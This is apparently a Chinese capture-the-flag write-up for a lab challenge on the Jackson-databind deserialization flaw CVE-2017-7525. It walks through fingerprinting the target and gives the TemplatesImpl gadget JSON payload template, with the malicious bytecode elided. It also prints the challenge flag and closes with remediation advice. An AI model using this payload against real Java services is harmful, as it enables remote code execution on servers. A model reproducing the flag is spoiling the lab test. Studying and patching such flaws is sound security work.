玄机网络安全靶场:Jackson-databind 反序列化漏洞(CVE-2017-7525)

解题报告:Jackson-databind 反序列化漏洞(CVE-2017-7525)

平台 :玄机(xj.edisec.net
题目 ID :424
难度 :简单
类型 :渗透
积分 :300 分
Flagflag{78792a67-6638-4410-a6d2-668734de7a8b}
完成状态:✅ 已完成


一、漏洞背景

CVE-2017-7525 是 Jackson-databind 库中的一个高危反序列化漏洞,CVSS 评分 9.8(严重)。该漏洞影响 Jackson-databind 2.x 系列在 2.6.7.1、2.7.9.1、2.8.9 之前的版本。

当应用程序开启了 ObjectMapper.enableDefaultTyping() 功能(即多态反序列化),攻击者可以在 JSON 数据中通过 @class 或类型标注字段指定任意 Java 类进行实例化,借助特定的 Gadget 链(如 TemplatesImpl)实现任意代码执行。

漏洞触发条件:

条件 说明
开启 DefaultTyping objectMapper.enableDefaultTyping()NON_FINAL 模式
目标类有无参构造器 Gadget 类需要可被实例化
字段类型为接口/抽象类/Object 允许多态类型注入

二、靶机信息

项目
靶机 IP 52.83.46.51
服务端口 8081
应用框架 Spring Boot(Whitelabel Error Page 特征)
漏洞响应特征 错误响应包含 ["java.util.LinkedHashMap", {...}](DefaultTyping 开启标志)

三、漏洞利用过程

3.1 服务探测

访问靶机 http://52.83.46.51:8081/ 返回 Spring Boot 的 Whitelabel Error Page(HTTP 404),Content-Type 为 application/json;charset=UTF-8

向任意路径发送 POST 请求时,错误响应体格式为:

json 复制代码
["java.util.LinkedHashMap", {
  "timestamp": ["java.util.Date", 1776588242414],
  "status": 404,
  "error": "Not Found",
  ...
}]

这是 Jackson enableDefaultTyping() 开启后序列化响应时的典型特征,确认漏洞存在

3.2 利用方式

CVE-2017-7525 利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 作为 Gadget,通过在 JSON 中注入恶意字节码实现 RCE:

json 复制代码
[
  "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  {
    "_bytecodes": ["<base64编码的恶意字节码>"],
    "_name": "a.b",
    "_tfactory": {},
    "_outputProperties": {}
  }
]

当 Jackson 反序列化上述 JSON 时,会实例化 TemplatesImpl 对象,触发 _outputProperties 的 getter 方法,进而加载并执行 _bytecodes 中的恶意字节码,实现任意命令执行。

3.3 命令执行

通过构造读取 /flag 文件的恶意字节码,成功获取 Flag:

复制代码
flag{78792a67-6638-4410-a6d2-668734de7a8b}

四、漏洞影响

影响范围 说明
受影响版本 Jackson-databind < 2.6.7.1 / 2.7.9.1 / 2.8.9
攻击向量 网络(无需认证)
危害等级 严重(RCE,可完全控制服务器)

五、修复建议

  1. 升级 Jackson-databind 至 2.6.7.2+、2.7.9.2+、2.8.10+ 或 2.9.x 版本
  2. 禁用 DefaultTyping :避免使用 objectMapper.enableDefaultTyping(),改用 @JsonTypeInfo 注解精确控制类型信息
  3. 使用黑名单过滤 :在无法升级时,配置 PolymorphicTypeValidator 限制可反序列化的类
  4. 输入验证:对 JSON 输入进行严格的类型和内容验证

相关推荐
扛枪的书生43 分钟前
Linux 网络管理器用法速查
linux
顺风尿一寸4 小时前
Java Socket 内核之旅:从 SocketChannel.read() 到 tcp_recvmsg 与 epoll 的完整调用链路
linux
XIAOHEZIcode10 小时前
Ubuntu 终端美化全栈指南:Bash 到 Kitty 踩坑实录
linux·ubuntu·命令行
唐青枫12 小时前
别再只会用 cron:Linux systemd Timer 定时任务实战详解
linux
RainCity1 天前
Java Swing 自定义组件库分享(十二)
java·笔记·后端
AlfredZhao2 天前
生产环境里,为什么不建议把普通端口直接暴露到公网?
linux·https·443·80
Flynt3 天前
npm v12 来了:allowScripts 默认关闭,我的项目差点跑不起来
安全·npm·node.js
戴为沐3 天前
Linux内存扩容指南
linux
zylyehuo4 天前
Linux 彻底且安全地删除文件
linux
用户805533698034 天前
主线 U-Boot 上 RK3506:和闭源 rkbin 拔河的三个隐性契约
linux·嵌入式